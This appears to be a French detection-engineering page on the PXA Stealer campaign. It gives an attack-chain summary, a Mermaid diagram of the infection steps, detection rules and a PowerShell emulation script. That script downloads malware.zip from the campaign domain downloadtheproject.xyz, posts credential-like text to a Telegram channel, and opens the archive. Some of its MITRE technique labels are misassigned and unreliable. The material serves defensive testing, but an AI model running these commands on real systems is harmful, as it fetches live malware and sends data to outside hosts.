Du phishing à l’exfiltration : Analyse approfondie de PXA Stealer
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Le rapport décrit une forte augmentation de l’activité de PXA Stealer ciblant les organisations financières au début de 2026. Les acteurs de la menace diffusent des archives ZIP malveillantes via des e-mails de phishing et s’appuient sur une chaîne d’infection multi-étapes qui abuse des outils système légitimes et d’un interpréteur Python renommé. Une fois actif, le malware vole les identifiants de navigateur, les mots de passe enregistrés et les données des portefeuilles de crypto-monnaies, puis exfiltre les informations collectées via Telegram. La campagne souligne comment les opérateurs ont ajusté leur mode opératoire suite aux perturbations antérieures d’autres écosystèmes d’infostealers.
Enquête
Les chercheurs de CyberProof ont reconstruit la chaîne d’attaque complète, commençant par un e-mail de phishing qui a livré une archive Pumaproject.zip malveillante et se terminant par une exfiltration basée sur Telegram. Leur analyse a identifié l’abus de Certutil pour le décodage, une copie de WinRAR déguisée en picture.png pour l’extraction, un dossier Dots caché, et un interpréteur Python renommé svchost.exe utilisé pour lancer un script obfusqué lié à un identifiant de bot. La persistance est maintenue grâce à une entrée de valeur de registre.
Atténuation
Les défenseurs doivent identifier les pièces jointes d’archive suspectes, surveiller l’exécution de scripts et les LOLBins connus à partir de chemins inattendus, et bloquer le trafic sortant vers Telegram ainsi que des TLD inhabituels tels que .shop and .xyz. Les équipes de sécurité doivent également renforcer les passerelles de messagerie et appliquer des contrôles stricts d’exécution aux fichiers Office et au contenu basé sur des scripts.
Réponse
Lorsqu’un PXA Stealer est détecté, isolez le hôte affecté, capturez les preuves volatiles, et recherchez les artefacts de fichiers référencés et les modifications du registre. Supprimez les fichiers malveillants, terminez les processus affectés, et réinitialisez tous les identifiants exposés. Les équipes doivent ensuite effectuer une chasse aux menaces plus large pour identifier des indicateurs correspondants à travers l’environnement et informer les parties prenantes concernées.
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffeb99 classDef process fill:#ffcc99 classDef persistence fill:#c2f0c2 classDef exfil fill:#f4c2c2 %% Node definitions action_phishing[« <b>Action</b> – <b>T1566.001 Phishing: Spearphishing Attachment</b><br/>Description: Email avec ZIP malveillant (Pumaproject.zip) contenant Document.docx.exe. »] class action_phishing action file_zip[« <b>File</b> – Pumaproject.zip<br/><b>Contient</b>: Document.docx.exe »] class file_zip file action_user_exec[« <b>Action</b> – <b>T1204.002 User Execution: Fichier Malveillant</b><br/>Description: La victime ouvre l’exécutable attaché. »] class action_user_exec action process_malicious_exe[« <b>Process</b> – Document.docx.exe »] class process_malicious_exe process action_execution_hijack[« <b>Action</b> – <b>T1574 Détournement du Flux d’Exécution</b><br/>Description: Lance inter.cmd et utilise certutil pour décoder la charge utile à partir de Shodan.pdf. »] class action_execution_hijack action process_inter_cmd[« <b>Process</b> – inter.cmd »] class process_inter_cmd process tool_certutil[« <b>Tool</b> – certutil.exe<br/><b>Objectif</b>: Décoder le contenu base64 »] class tool_certutil tool file_shodan_pdf[« <b>File</b> – Shodan.pdf<br/><b>Contient</b>: Charge utile encodée en base64 »] class file_shodan_pdf file action_defense_embedded[« <b>Action</b> – <b>T1027.009 Charges utiles intégrées</b><br/>Description: Charge utile cachée à l’intérieur du fichier PDF. »] class action_defense_embedded action action_decode[« <b>Action</b> – <b>T1140 Déobfuscation/Décodage de Fichiers ou Informations</b><br/>Description: certutil décode la charge utile. »] class action_decode action action_hidden_dir[« <b>Action</b> – <b>T1564.001 Fichiers et Répertoires Cachés</b><br/>Description: Malware crée le dossier caché « Dots » pour les fichiers intermédiaires. »] class action_hidden_dir action file_hidden_dir[« <b>File</b> – Dots (répertoire caché) »] class file_hidden_dir file action_relocate[« <b>Action</b> – <b>T1070.010 Suppression d’Indicateur : Replacer le Malware</b><br/>Description: Déplace les fichiers malveillants dans le répertoire caché « Dots ». »] class action_relocate action action_compression[« <b>Action</b> – <b>T1027.015 Compression</b><br/><b>Description</b>: WinRAR déguisé en picture.png extrait l’archive protégée par mot de passe (mot de passe shodan2201). »] class action_compression action tool_winar[« <b>Tool</b> – WinRAR (renommé picture.png) »] class tool_winar tool file_archive[« <b>File</b> – Archive protégée par mot de passe (shodan2201) »] class file_archive file action_rc_script[« <b>Action</b> – <b>T1037.004 Scripts RC</b><br/>Description: Python portable déposé, renommé en svchost.exe et exécuté avec l’argument $BOT_ID. »] class action_rc_script action process_svc_host[« <b>Process</b> – svchost.exe (interpréteur Python malveillant) »] class process_svc_host process action_active_setup[« <b>Action</b> – <b>T1547.014 Configuration Active</b><br/>Description: Entrée de registre ajoutée pour exécuter svchost.exe au démarrage. »] class action_active_setup action action_com_hijack[« <b>Action</b> – <b>T1546.015 Détournement COM</b><br/>Description: Entrée de registre de détournement COM créée pour une exécution automatique. »] class action_com_hijack action action_cred_browser[« <b>Action</b> – <b>T1555.003 Identifiants des Navigateurs Web</b><br/>Description: Injecte dans les navigateurs pour voler des mots de passe, des cookies, des données de portefeuilles cryptos. »] class action_cred_browser action action_cred_cookies[« <b>Action</b> – <b>T1539 Vol de Cookie de Session Web</b><br/>Description: Extrait des cookies de session web pour réutilisation. »] class action_cred_cookies action action_keylogging[« <b>Action</b> – <b>T1056.001 Capture de Saisie: Keylogging</b><br/>Description: Capture les frappes clavier de l’utilisateur. »] class action_keylogging action action_exfil_telegram[« <b>Action</b> – <b>T1567 Exfiltration Par Service Web</b><br/>Description: Envoie les données collectées à des canaux Telegram contrôlés par l’attaquant. »] class action_exfil_telegram exfil action_exfil_c2[« <b>Action</b> – <b>T1041 Exfiltration via Canal C2</b><br/>Description: Utilise Telegram comme canal C2 et d’exfiltration. »] class action_exfil_c2 exfil %% Connections action_phishing –>|livre| file_zip file_zip –>|exécute| action_user_exec action_user_exec –>|lance| process_malicious_exe process_malicious_exe –>|lance| action_execution_hijack action_execution_hijack –>|génère| process_inter_cmd process_inter_cmd –>|utilise| tool_certutil tool_certutil –>|décode| file_shodan_pdf file_shodan_pdf –>|contient| action_defense_embedded action_defense_embedded –>|déclenche| action_decode action_decode –>|crée| action_hidden_dir action_hidden_dir –>|crée| file_hidden_dir action_hidden_dir –>|stocke| action_relocate action_relocate –>|déplace les fichiers dans| file_hidden_dir action_relocate –>|mène à| action_compression action_compression –>|utilise| tool_winar tool_winar –>|extrait| file_archive file_archive –>|fournit| action_rc_script action_rc_script –>|exécute| process_svc_host process_svc_host –>|établit| action_active_setup process_svc_host –>|établit| action_com_hijack process_svc_host –>|active| action_cred_browser process_svc_host –>|active| action_cred_cookies process_svc_host –>|active| action_keylogging action_keylogging –>|alimente les données vers| action_exfil_telegram action_cred_browser –>|alimente les données vers| action_exfil_telegram action_cred_cookies –>|alimente les données vers| action_exfil_telegram action_exfil_telegram –>|utilise le canal| action_exfil_c2
Flux d’Attaque
Détections
Exécution de Processus Systèmes depuis des Chemins Atypiques (via process_creation)
Voir
Commande et Contrôle Suspect par Requête DNS de Domaine de Premier Niveau (TLD) Inhabituels (via dns)
Voir
Exécution Suspecte depuis le Profil Public de l’Utilisateur (via process_creation)
Voir
Extension Inhabituelle de Binary Exécutable (via process_creation)
Voir
Fichiers Suspects dans le Profil Public de l’Utilisateur (via file_event)
Voir
Utilisation de Certutil pour le Codage des Données et Opérations Cert (via cmdline)
Voir
IOC (HashMd5) à détecter : De l’Hameçonnage à l’Exfiltration : Une Plongée dans PXA Stealer Partie 2
Voir
IOC (DestinationIP) à détecter : De l’Hameçonnage à l’Exfiltration : Une Plongée dans PXA Stealer
Voir
IOC (HashMd5) à détecter : De l’Hameçonnage à l’Exfiltration : Une Plongée dans PXA Stealer Partie 1
Voir
IOC (SourceIP) à détecter : De l’Hameçonnage à l’Exfiltration : Une Plongée dans PXA Stealer
Voir
IOC (HashSha256) à détecter : De l’Hameçonnage à l’Exfiltration : Une Plongée dans PXA Stealer
Voir
Détection des Activités d’Exécution de PXA Stealer [Création de Processus Windows]
Voir
Détecter les Connexions Sortantes de PXA Stealer [Connexion Réseau Windows]
Voir
Exécution de Simulation
Prérequis : La Vérification Pré-vol de Télémétrie & Baseline doit avoir réussi.
Rationale : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Narrative d’Attaque & Commandes :
L’acteur de la menace déploie le PXA Stealer sur un hôte Windows compromis. Après que l’utilisateur ait exécuté sans le savoir le binaire malveillant initial (T1204.002), le stealer exécute un extrait de PowerShell qui :-
Télécharge un ZIP malveillant du domaine codé en dur
downloadtheproject.xyz(T1202 – exécution indirecte de commande). -
Exfiltre les données récoltées en postant un message à un canal Telegram via
t.me(T1559.002 – lien de phishing). - Charge éventuellement un composant COM malveillant pour atteindre la persistance (T1127.002).
Les deux requêtes HTTP GET sortantes génèrent les
champs DestinationDomainque la règle Sigma surveille, provoquant une alerte. -
Télécharge un ZIP malveillant du domaine codé en dur
-
Script de Test de Régression :
# Simulation de PXA Stealer – déclenche la règle de détection $tmpZip = "$env:TEMPpayload.zip" $tmpMsg = "$env:TEMPsteal.txt" # 1. Télécharge le ZIP malveillant depuis le premier domaine malveillant Invoke-WebRequest -Uri "https://downloadtheproject.xyz/malware.zip" -OutFile $tmpZip -UseBasicParsing # 2. Simule l'exfiltration de données via le lien Telegram $payload = "Identifiants utilisateur : admin / Pass123!" Set-Content -Path $tmpMsg -Value $payload -Encoding ASCII Invoke-WebRequest -Uri "https://t.me/stealchannel?text=$( [uri]::EscapeDataString($payload) )" -UseBasicParsing # 3. (Optionnel) Charge un objet COM factice pour émuler T1127.002 try { $com = New-Object -ComObject "Shell.Application" $com.ShellExecute($tmpZip, "", "", "ouvrir", 0) | Out-Null } catch { # Ignorer les erreurs – ceci est uniquement pour la télémétrie } -
Commandes de Nettoyage :
# Supprime les artefacts créés par la simulation Remove-Item -Path $tmpZip -Force -ErrorAction SilentlyContinue Remove-Item -Path $tmpMsg -Force -ErrorAction SilentlyContinue